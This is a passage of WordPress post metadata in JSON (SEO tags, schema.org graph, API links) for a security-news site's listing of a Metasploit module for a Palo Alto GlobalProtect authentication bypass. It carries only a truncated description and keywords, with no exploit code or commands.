redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=62295","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Palo Alto GlobalProtect Authentication Bypass_PACKETSTORM:223334 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-12T16:32:52&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits an authentication bypass vulnerability in Palo Alto Networks PAN-OS GlobalProtect portal and gateway components. The vulnerability stems from CWE-565: Reliance on...","og_url":"https:\/\/zero.redgem.net\/?p=62295","og_site_name":"zero redgem","article_published_time":"2026-06-12T12:42:27+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=62295#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=62295"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Palo Alto GlobalProtect Authentication Bypass_PACKETSTORM:223334","datePublished":"2026-06-12T12:42:27+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=62295"},"wordCount":2224,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.1","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=62295#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=62295","url":"https:\/\/zero.redgem.net\/?p=62295","name":"\ud83d\udcc4 Palo Alto GlobalProtect Authentication Bypass_PACKETSTORM:223334 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-12T12:42:27+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=62295#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=62295"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=62295#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Palo Alto GlobalProtect Authentication Bypass_PACKETSTORM:223334"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/62295","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=62295"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/62295\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=62295"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=62295"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=62295"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}